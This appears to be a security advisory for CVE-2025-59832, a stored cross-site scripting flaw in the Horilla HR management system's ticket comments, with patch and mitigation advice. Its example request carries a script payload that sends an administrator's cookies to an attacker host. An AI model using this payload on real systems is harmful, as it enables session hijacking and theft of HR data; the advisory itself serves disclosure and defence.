Overview
The CVE-2025-59832 is a potent vulnerability found in Horilla, a widely-used open source Human Resource Management System (HRMS). The flaw is a stored Cross-Site Scripting (XSS) vulnerability that could allow an attacker with low-privilege access to execute arbitrary JavaScript in an administrator’s browser. This has the potential to hijack the admin’s session, exfiltrate cookies or CSRF token, leading to a full system compromise or data leakage.
Given the popularity of Horilla as an HRMS solution, the vulnerability affects a broad range of organizations, potentially exposing their sensitive HR data to cyber threats. The severity of this vulnerability underscores the importance of prompt patching and use of mitigation strategies to maintain system security.
Vulnerability Summary
CVE ID: CVE-2025-59832
Severity: Critical (9.9 on the CVSS scale)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Horilla HRMS | Prior to version 1.4.0
How the Exploit Works
The exploit takes advantage of a stored XSS vulnerability in the ticket comment editor of Horilla HRMS. An attacker, even with low-privilege access, could inject malicious JavaScript into the comment section. This stored script is then executed when an admin opens the ticket, leading to the execution of the script in the admin’s browser. This could lead to the exfiltration of the admin’s cookies or CSRF token and potentially enable the hijacking of their session.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. It involves a POST request with a malicious payload.
POST /ticket/comment HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"comment": "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
}In the example, the attacker injects a script that redirects the document location to their own server, appending the admin’s cookies to the URL which can be subsequently captured.
This vulnerability has been patched in version 1.4.0 of Horilla HRMS. As a mitigation strategy, users are advised to promptly apply the patch or use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.
